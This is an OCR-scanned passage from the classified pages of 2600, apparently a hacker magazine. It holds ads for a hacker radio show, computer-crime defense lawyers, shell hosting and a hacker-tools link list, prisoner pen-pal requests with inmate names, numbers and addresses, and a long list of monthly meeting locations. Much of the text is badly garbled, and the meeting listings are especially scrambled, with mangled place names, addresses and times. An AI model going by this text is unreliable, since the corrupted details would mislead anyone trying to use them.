as to the hone sty, righ teousness . sanity. etc . of the peop le advertis­
Ing here. Contact them at your peril. A ll submis sions are for ONE
ISSU E ONLY ! If you want to run your ad more than once you must
resubmit it each time. Don't expect us to run more than one ad for
you in a SIngle Issue eithe r. Inc lude your address labe l/envelope or
a phot ocopy so we know you 're a subscriber. Send you r ad to 2600
Marketplace , PO Box 99 . Middl e Island . NY 11953 . Deadline fo r
Autumn Issu e : 911107.

OFF THE HOOK is the weekly one ho ur hacker radio show present­
ed Wednesd ay nights at 7 :00 pm ET on WBA I 99 .5 FM in New York
City . You can also tune in over the net at www. 2600 .coml oft thehook
or on sho rtwave in North and Sou th America at 7415 khz. Archi ves
of all shows dati ng back to 1988 can be found at the 2600 site. now
in mp3 form at! Show s from 1988-2005 are now ava ilable in OVD-R
for mat for $3O!Or subscribe to the new high quali ty aud io service
for only $50. Each mon th you 'll ge t a newly released year of Off The
Hook. in broadcast qua lity (fa r better tha n previous online re leases).
Send chec k or money order to 2600, PO Box 752 , Midd le Island. NY
11953 USA or order through our online sto re at http ://store .2600 .com.
Your feedb ack on the program is always welcom e at oth@2 600.com.
INFOSEC NEWS is a pr ivately run . medi um traffic list tha t cate rs to
the distr ibution of info rmation security news art icles. These articles
come from such sources as newspapers, magaz ines , and onli ne
resources. For more infor mation, chec k out:
http ://www. infosecnews.o rg .
CHRISTI AN HACKE RS' ASSOCIATION: Check out the web page
http :ltwww.christia nhacker.org for details. We exist to promote a
community for Chr istian hack ers to discuss and impact the rea lm
where faith and tec hno logy intersec t for the purpose of see ing lives
changed by God 's grace throug h faith in Je sus .
PHONE PHUN . http: //phoneph un.us. 810gdevoted to interesting
phone numbers. Sha re your finds !

cannot help you . we will even try to find someone else who can at no
charge. So you have noth ing to lose and perhaps everything to gaIn
by con tact ing us first. Visit us at: http ://www .computorney.com or ca ll
516 ·9WE ·HELP (516 -993 -4357) .

InnlunCllmllnts

WHEN THE BULLET HITS TH E BONE. Bored and lonely phone
ne rd . Got som e time left in our nation's wond erfu l corrections system .
Look ing for pen pa ls to he lp pass the time. Interests indude (not
limi ted to) telecom. computers . politics, mus ic (pun k roc k. industrial .
etc.), tats. urba n explora tion. 23 , white ma lo, 6' 1 ~, 190 lbs . black hair.
gree n eyes. a few tats. Wi ll respond to all. Michael Kerr 09496-029,
FC I Big Spr ing . 1900 Simlar Ave.• Big Spri ng. TX 79720.
LOOKING FOR PEOPLE to teach me prog ramming rela ted skills. I
have not been able to learn very much on my own so if any of you
wo uld like to pass on your knowledge to a future hacker please
con tact me . I live in hick-ville. so I do not cu rrently have the Intemet
but will get reconnected in app roximately 2~3 months. Please wri te to
me: Ce rberus at 24 Ray St. , Keene , TX 76059. Any know ledge at all
will be greatly apprec iated .
PRISONER SEEKS FRIENDS to he lp with book revie w loo kups
on Amazon by keywords. Com Sci major . thi rsty to catch up to the
real world before my reentry. I have my own funds to buy rooks. I
only need reviews. I'm MUOIM MORPG savy in C++, Java, Python,
PHP. MySQ L, DirectX . Ken Robe rts J60962. 450-1-28M. PO Bex 9.
Avena l. CA 93204.
SEEKING NON-STAGNANT MINDS for mutual illumination/ex­
change of tho ugh ts and idea s. Th ree years left on my sentence
and even with all my coaching the wa lls sti ll can't ca rry a decent
conversation. Interests inc lude cryp tography. sec urity, conspiracy
theories, martial arts , and anyth ing com puter rela ted . All letters
repl ied to . Max Rider. SBI#OO383681 D.C.C.• 1181 Padd ock Rd.•
Smyrna. DE 19977.
IN SEARCH OF FRIENDs/CONTACTS: Ra ilroaded by Iyin 9
evidence- bury ing FBI age nts and U.S. Postal Inspect ors for crime
I did n't com mit. In court I had a snow ball's chance in he ll. Unless 1
outsma rt the governme nt by exhum ing the exculpatory treasu re trov e
of my innocence , I'm hopelessly dungeoned for the du ration. There's
only a little gleam of time between two eternities. I refuse to return to
forever without a fight. Wi ll answer all. W. Wen tworth Fos ter #2118 1.
Sou theas t Correction Gente r, 300 East Pedro Simmons Drive,
Charl eston, MO 63834.
PLEASE WRITE ME . WM blue eyes brown ha ir, 6'3~, 195 100.. 28
years old (send a pic , I will do the same). I'm incarcer ated for drug
man ufact uring . Been down 1 year , got 1 or 3 more to go . I'm looking
for anyo ne to talk to about real work! hacking . lOs. or any 2600 re­
lated stuff . I love to write and have nothinq but time. Meclynn Stuver
GN-1141. P.O. Bex 1000. Houtzdale . PA 16698 · 1000 .

I bel ieve that many privacy advocates wou ld not only welcome such
an opt-divert number, but also would be willi ng to pay for such a ser­
vice in orde r to keep thei r orig ina ting number private. Please ema il:
opt divert@yahoo.com .
HE LP I I want to set up a voice bndge cha t line for hackers but need
the sc ftwa re. Call me at (213) 595 -8360 (Ben) or
www .Under ground ClasSlfjed s.com .

services
HACKER TOOLS TREASURE BOX I You get over 630 links to key
resou rces, plus ou r pro ven methods for rooting out the hard-to-find
too ls, instantly! Use these links and methods to build your own
customized hacke r (AHEM. netwo rk secu rity) tool kit.
http ://wea lthfu nnel.co mfsecuritybook
ADVANCED TECHNICAL SOLUTIONS. #422 · 1755 Robson Stree t.
Vanco uve r. B.C. Canada V6G 3B7. Ph : (604) 928 -0555. Electron ic
countermeasures - fmd out who is sec retly videotaping you or bug­
ging your car or office . "State of the Art" detection equipmen t uti lized .
FREERETIREDSTUFF.COM - Donate or req uest free outdated tech
products - in exchange for some good karma- by keeping usable un­
want ed teen item s out of you r ne ighbo rhood landfill. The FR EE and
eas y text and photo class ified ad websit e is designed to find loca l
peop le in your area willin g to pick up your unwanted tech prod ucts or
anything else you have to donate . Th ank you for hel ping us spread
the word abou t your new global recyc ling resou rce by dis tributing this
ad to free classif ied adve rtis ing sites and newsg rou ps globally.
www .FreeR etiredStuff.com FREE ADS are avail ab le for those try ing
to BUY or SEL L tech products . Visit www .NoPayC lassifieds.com .
SUSPECTED DR ACCUSED OF A CYBERCRIME IN ANY
CAUFORNIA OR FEDERAL COURT? Co nsu lt wi th a sema nt ic
warrior com mitt ed to the libe ration of infor mation. I am an aggres­
sive cr imina l defen se lawyer spectalizmq in the foll owing types of
ca ses : unauthorized access, the ft of trade sec rets. identi ty theft ,
and trademar k and cop yrigh t infringem ent. Contact Omar Ftgueroa,
Esq . at (4 15) 986-5591 , at omar@stanforda lumnLorg, or at 506
Broa dway, San Francisco. CA 94133·4507 . Gradu ate of Yale College
and Stanford Law School . Com plimentary case consu ltation for 2600
reade rs. All consultations are strict ly confidential and pro tec ted by
the anomev-caent privil ege .
INTE LLIGENT HACKERS UNIX SHELL. Rev erse.N et is owned
and ope rated by intell igent hac kers . We believe every user has the
right to online security and privacy. In today's hostile anti -hac ker
atmosphere. intelligent hac kers requir e the need for a secu re place
to work , compile. and explore without big -brother looking ove r thei r
sho ulder . Hoste d at Chicago Equ inix with Juniper Filtered DoS Pro­
tecti on. Multip le Free BSD servers at P4 2.4 ghz. Affordab le pr icing
fro m $5Imonth with a money back guarantee. Ufet ime~o discount
for 2600 readers. Coupon code : Save2600. http ://www.reve rse .net
ANTI -eENSORSHIP L1NUX HOSTING. Kaleton Internet provides
affordable web hosti ng. ema il accou nts, and doma in reg istrations
based on dua l processor P4 2.4 GHz Linux servers. Our hosting
plans start from on ly $8.95 pe r month . This includes support for
Python, Perl . PH P, MySQL, and mo re. You can now choose between
the USA. Sin gapore, and other offshore loca tions to avoid censorship
and gua rantee free speech. We respect your privacy. Payment can
be by E-Goi d. PayPal. credit ca rd. bank tran sfer, or Western Union.
See www .kaleton.com for detai ls.
ARE YOU TIRED of receiv ing piles of credi t ca rd offers and othe r
post al spam? You can 't just throw them in the trash or recyc le them
as someone cou ld get a hold of them an d use them to stea l your
identity. You can't just let them pile up on your kitchen table . So
instead you have to be bothered with sh redding an d disposing of
them. Well . not anymore. OperationMailBack.com has a free so lution
for you. All costs of dis posal includ ing de live ry will be paid by the
company responsible for sending the stuff to you. Stop wasting your
val uable time dealing with messes other peo ple are respons ible
for crea ting . Chec k out our newly red eSIgned website for comple te
information and take back your mailbox.
BEEN ARRESTED FOR A COM PUTER OR TECHNOLOG Y
RELATED CRIME? Have an idea . invention. or busi ness you want to
buy, sell , pro tect, or mar ket? Wish your attorney actually understood
you when you speak ? The Law Office of Mic hael B. Gree n. Esq.
is the solution to your 21st century legal prob lems. Former SysO p
and member of many private BBS's since 1981 now available to
directly represent you or bndge the com municat ions gap and assist
your cur rent legal counsel. Ext reme ly deta iled know ledge regard ing
cr im inal and civil liability for compute r and technology re lated actions
(18 U.S.C.1 028 .1 029. 1030 . 1031. 1341. 1342, 1343 . 2511. 2512.
ECPA. DMCA, 1996 Telecom Act. etc.). domain name disputes. intel ­
lectual property matters such as copyrights. trade ma rks, lice nses,
and acqu isitions as well as general bus iness and corporate law. Over
eleven years experience as in-house legal counsel to a computer
consulting business as well as an over 20 year bac kground in
computer , telecommunications, and technology matters. Publi shed
law review art icles , cont ribu ted to nat ionally published book s, and
subm itted brie fs to the Umted States Supreme Cou rt on Intemet and
ted1no1ogy related issues. Admitted to the U.S. Sup reme Court, 2nd
Circu it Cou rt of Appeals. and all New York State courts and familiar
with other jurisdictions as we ll. Many attomeys will take your case
withou t any cons ide ration of ou r cu lture and will see you merely as
a sou rce at tee s or wo rse. with ill -conceived pre judices. My ott ica
unde rstands our cu lture. is sympathetic to your situation , and will
treat you with the respect and understanding you deserve. No fee
for the initia l and confidential con su lta tion and, if for any reason we
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'UZZLE

frnaff puure@2600.com.
Those without net access,
maH 2600 Puzzfe, PO 60r 99,
Middfe Island, PlY 11953 OSA.

We're very upset that nobody lent ;n the correct answer (or the last

E
::le ;n the spr;ng ;ssue. So let's make ;t ;nteresUng. The (;rst person

og"et what we cons;der to be the correct answer to that pu;:Ie or
;s one wm rece;ve the;r cho;ce o( a (u" back ;ssue set or a r;(ethne

subscr;p.Uon to 2600 <the maga:;ne you're currentry read;ng).
I( noboay gets ;t, then we wHJ award ourselves the pr;:e.
Please don't force our hand. We mean bus;ness.
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Vlrglnl.
Arlington . (see [)sind 01COlunba)
Vlrgtn" Beech: lymhawn Mal on
lynnha't"8fl P~BY. 6 pm .

Wuhlngton
_ : washlnglon S.... eon->-
bon Center 2nd -. soot11_ .
6pm.

utah
Soh toke CfIy : ZCU' Mall ", The
Po'" Food Court.

WloconeJn_ 'son:Union South (221 N
RandaQ AYe.) on the lower IeYetin
!he Martin lJJlhe<King Jr. Lounge.
Poyphone: (608)251 ·9909,

All meet lnv- taka pa.ee on the
11m Frtdey 0/.". month. Unleoe
otherwi.. noted . they atar1 ., 5 pm
IoeeI time. To atart • meeting In
your city, Mnd ...,.11 to
meetlngs02600.com.

Vonnonl
Burlington: Borders 800ka 01
COOn:hSt _ Cheny Sl on Ihe

68COOd ftoot of the cafe.

Tex..
Auetlo ' Spider House cale, 2908
fruth Sl 7 pm
Houston: Ninta', Expreq in trent 01
Nordstrom ', W1 the GaBeriaMal.
San Anton io ' North Srar Mall food
COU1. 6 pm

lngon
Portland: 8lI<:kapace cate. 115 1#1
5tt'l Ave . B pm

T_
KnollVUIe: Bofoen Books Cafe
across trom Westown MatI.
IIomphl . : A..... Bread Co.• • no
PopIet A.. 6 pm.

.......".. _lJnMlniIy Hill
Center, Room 151 . 1231 18th Avenue
Sou"'. 6 pm.

Pennaytv.nl.
AU.ntown. Panet"8 Bread. 3100
West TIglvnan SI. 6 pm
Ph/~ph" 30lh St SIBbon. SOCJIh.
east food court near mnpost ottice .

South Carolina
Charleaton : Northwood1Mal in Ihe
hall between sears and Chi...·F"I-A.

South Dekota
$Iou_ hlta - Empire Mal. by BIlger
King .

_ : P8n8IO Bread. 2373

West Ridge Ad 7:30 pm.

North c.roUnli
Charlotte: Soo1nP......... food
00l.Wl 7 pm.
Re1etgIt. Royal Bean 0011.. ohop on
HiIlabon> S..., (noxt to "'" PIIIymak ·
~ Spofts Bar and across from
.....eQlh ColIegeI·
Wilm ingt on : The Connecbon lnternet
Cole , 250-1 Racine 0rMl. Racine
Comn'<lnsShoppingCentur,

North Dekote
Forgo: West Aa....... food courtby
~ T800JotVl '• .

Oh io
CInc:lnnaU ; The Bl'ew House, 1047
east Me........ 7 pm,
C_nd UoWersrtyCirde_,
11300Juniper Ad . Upsta ..... IlJm
right , second room on lett .
Col umbua: Conventioncerlter on
street IeYeIaround the cornerfrom
thelood couot
Deyton : TGI Froay's 0" 725 by 1he
Deyton Mall ,

Ok_
Oklehome City : Cete Bola. BD<JIh­
ease comer 01 SW 69ttl S t and P8fVl.
Tu.... PromenadeMall food ccet,

-Lee Y_: McMuIan'. Pub, 4650
W Tropw::ana Ave. (across the sU'eet
from The 0f1eans Casino). 7 pm.

New Med co
Albuquerque: University 01New
MexiooS...... U""'" Buok>ng (pl.za
"lower" _ ku1gel. ma" canlIlUS
Payp/lones:~.~

9034 . 5:30 pm.

_York
New York ' Qbgroup eer-. In 1he
lcIJby,neat1he_'53E
53rd St., between lexl'lgton & 31"1:1.

" 'nMeOta
Bloom ington: ..... 01America.""""
side food court. acrosefrom Burger
KJng& the bani< 01payphoMs _

don~ .... inoomongcaIfB,

IoIIoeourt
Kwlee. C11y(1~):

Barnes & NollIe. 19120 Easl39lh SI.
Sl Loul. : Galleria Food Court.
Sprtng fleld : _ Book. and
~sic ooI1eeshop. 3300 South
GlenstoneAve.• one bb::k south a'
aantefiakl ..... 5:30 pm._lui
0"""", Cross<oads ..... Food
Court. 7 pm.

KanNe
"" CfIy (Overtand Pe"') oak
P,"" lood coort
Wlchlto R_ Pert<. "44
B<tbng A...

a-vto
AttantII : LenoxMatIfoOdcourt . 7 pm

IIetyt<ond
BattI~: Barnes & Nob6ecate at
the lmer HaIbof.

LouIe .....
Baton Rouge In the LSU UI'lIOfI
BuIding , betw_ the r oger P..... &
McDonaJd's. 8 pm .
New Or1lAn. : Z:W Conee House
uptown at 82 10 OakStreet. 6 pm

M.I....
Pont end ' ...... Mall by the bancI> • •
the Iood coort door.

IIl lnole
Ch"'-,~ Boys and
G<rtsC>JI>, 2501 W mngPIIIk
Ad. 7 pm.

Ind..".
Ey.....ylU. : Barnes and Noblecete at
624 S Green RiYefAd
FL W.y.... : GIeobrook Mallood court
in front d SbarTO'a. 6 pm.
Indl«nepoll" Comer CoIl... sw
oomer01 11th and A!abama.
South Bend (1oI'_ IuI) Barnes
and Noble cat. , 4801 Grape Ad.

lowe
AIMO : MemonaIUnion IlUIding food
court 8t the k)wa State Univer sity

kIeho
Bo''''BSU S...... Union~,
up6Iaira from the main entrance.
Poypl>cMS : (206 ) 342 ·9700. 9701,
Pocetello : College Mark... 604
South 6th S I

MaAlM:huMtts_ton·_ CenterPlaza,
terr ace food cou rt 81 the tab6es 068t
1he wV>dow$, 6 pm.
"'rlborough: Solomon P,"" Mall
Iood coon.
North8mpton: Downstairs 01Hay·
market Ca l• . 6:30 pm..

IoIlchlgen
Ann Arbor: StarbuCks in The Galleria
onSouth~sity

UnMlnity 01Aonde '. Rettz Union
Iood COU1. 6 pm.
Qrfanda: Fashion Squa<e..... Food
Court-. HoYBnGourmet and
Mandlu Wol<. 6 pm .
Temp. UnMlnity ..... In "'" back 01
the food oourI on the 2nd noor: & pm.

Diatrlct 01CoI I1fnbia
Arlington: Pentagon e.ty ... . In the
toed court (near Au Bon Pain). 6 pm.

Flortde
FL Lauderdale: Broward Malin the
Iood coort 6 pm.
GaInesville: In the beck 01 !he

Callfomla
Irvtno . Panora Bread. 3968 Barranca
Par1cway. 7 pm.
toe Angeleo : Un<>n S"bon.
come< 01Macy & Alameda. .......
maIOentrance by bank Ofphone$.
PeyphoMs: (213) 972-ll5 t 9. 9520;
625-9923 .9924; 61J.9704. 9746
UonIOley: lDndon Bl1dge Pub .
Whart '2.
s.cr.m.nto. Round Tab'e Ptua ac
t21 KSI.
San DIego : Regents P1u a. 4150
RegenlO P,"" RowIt10.
Sen Franclaco: 4 Embarcadero
Plaza C......). P. yphoMs: (415)
396-9803. 9604, 0005 . 9806 .
5 :30 pm.
San JON' 0utskSethe cate aI the
MLK Ubfary 814th and E. San
F...-.6pm,

Coloredo
Boulder: I'Mg Zoo<food court. 13'"
and College. 6 pm.
Denver : BorderSCafe, pan.er and",.....,..

Arlzono
Tuc.on ·Sotd6n ... the Parlt Malt
7pm

Alabenw
Aubum: The..-.. ku1ge""""",,
In 1he Foy UnOon Budding. 7 pm.
Huntsville StanMo's Sub Villa on
_Lane.
Tuecatoooe McFartend ..... food
cx.u1 near the front entrance.

SWITZERLAND
lalMIinne , '" front of the MacOo
beskJd rtw tram &ta bOO.

UNITED STATES

NORWAY
Oala: Qsk) sentraI Train Station.
7 pm.
TrolMOe: The upper IIoof 8t Btaa
Rock Cale. Strandgata 14. 6 pm.
TrondheIm: Rd'. Cafe in Nordre­
gate . 6 pm

PERU
UIM" Bart>donia (ex ApJ Bar), 8f'\

Alcan10res455. Mwaftores, at the end
of Tarata St. 8 pm.

SC01'\..A ND
GIeegow: Cenlral S.._ . pay­
phonea nextto F'tartonn I . 7pn.

SOUTH AFRICA
Johenneeburg (Sendton C'Iy) '
5and1oo lood court. 6:30 pm.

SWEDEN
Gothenburg: 2nd IIoorIII 8urg<>'
KIflg 81Avenyn. 6 pm.
Stockholm ' Outside Leva.

JAP AN
Tokyo: IJnux Cate in AkihabanI
_6pm,

NEW ZEA LA ND
Auck lend :~Bar.~.

W~ St. Aucklend C8n1reI.
5:30pm.
Chrtlltchurch: Java Cafe . comer of
H;gt1SI. and-.SI. 6 pm.
WeUlngton : load Caf. in Cuba
Mal. 6 pm.

GREECE
Atheno : 0utIide "'" booi<sllJre Pa­
paswtriou on me comer of PatJsion
and SloUrnari. 7 pn.

IRELAND
Dublin : At Ihe phone booths on W\c:k­
lowSI. _ lowe<Reoor<ls.7 pm.

ITALY
Milan ; PIaZza Loreto in 'rani of-

FRANCE
Grenoble' E.... . campus 01SI. Martin
d'Her8$..6pm.
P.,-t.: Place de iii RepubUqutJ. new
the (......,) tooolain. 620 pm.
Reo..... In front of the store -Blue
Sox"dose to Place de Ie R"llUl>/Ique.
6 pm
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AUSTRIA
Gru: Cafe Hattestele on Jakornirj­
platz .

CHINA
Hong Kong : PIJdfJcCoItee in FestJ..
YIUWalk. Kowtoon Tong. 7 pm.

CZECH REPUBUC
Pregue: Legenda pub . 6 pm.

DENMARK
Ae lborg Fasl EdOe'. roof hal
AarhuI;: In the tar corner oI lhe OSB
cafe in the '8ltway station.
Copen,->: ca'e _
Sonderborg : Cate Druen~ 7:30 pm.

EGYPT
Port Sol d : A. the .... 011he Oboi..
tEJMissallah ).

ENGLAND
IIrllIhton : AI the p/lone box.. by ...
SeakteCenb'e(across the road trom
1he PeJace -l. 7 pm Poyphone:
101273) 60667' .
ex....:A.1he payphones. Bedlord
Squa<e. 1 pm.
London: TrocaderOShopping Center(neat P>ocadilly Con:us),__.

6:30 pm.
Mancheeter; Bub Heed Pub on
~ Ad. 7:30 pm ,
Norwk:h :~ entrance 10
Chapelfoeld .... 6 pm
ReedIng : Afro Bar. Men:nants Ptace.
ott Fnar St . 6 pm.

FINLAND
He4.tnkJ·F~Mtoodcourt
(VuonJ<ellJ 14 )

BRAZI L
Bela Hortzonte: PeIego's Bar at As­
suleog. near the payphcne. 6 pm.

CAN AD A
Alberto

CeIgery: Eauae.e _food
coort by 1he bland~ waft 6 pm.

Brttl eh Columble
Vancouver: The Sleamworks. 375
Wat. Sf
V1ctoNi : av Bakmy and Caf e. 1701
Government 5t

.....h_
Winnipeg : S1.Vital ShaJ1*'lg Centre.
food cou rt by HMV

New Brul18Wtek
Iloncton: ChampIaonMall food COU1.
near KFC. 7 pm.

AUSTRAUA
Metboume~ eaftw. at ReVau Bar.
16 Swanston Walk,~ Melboume
ConOaJ SI-""II Centre. 6:30 pm.
Sydney: The CryuaI PeJace. "ootbet_o. DPIJ06'Ie the bus ..._

area on George 51.at Central' Sta­
tion . 6 pm

ARGEHTlNA
Buenoe AI,..: bl the bar at San
.bse 05 .

Ontlll1o
Barrie: WdUm ', CoII'89Pub. 50S
Br;ne Oriw . 7 pm.
GUlllph : WIIbm'. CoIfee Pub , 492
Edi.-.rgn Rood South. 7 pm.
Ot1ewe: Wo1d Exchange Plaza. 111
1.-. St. second t\ool'. 6:30 pm.
Toronto. CoIege part!; Food Court.
aaoss from the Taco Bel .
Waterloo: William 'SCottee Pub . 170
UniversrtyAve . Wes t. 7 pm.
Wind....:~S"Y 01W...-.
CAW Student Center commonsarea
by1he le1ge_ 7 pm.

Quebec
Montreal , BellAmphitheatre. 1000,
rue de la Gauche6ere .
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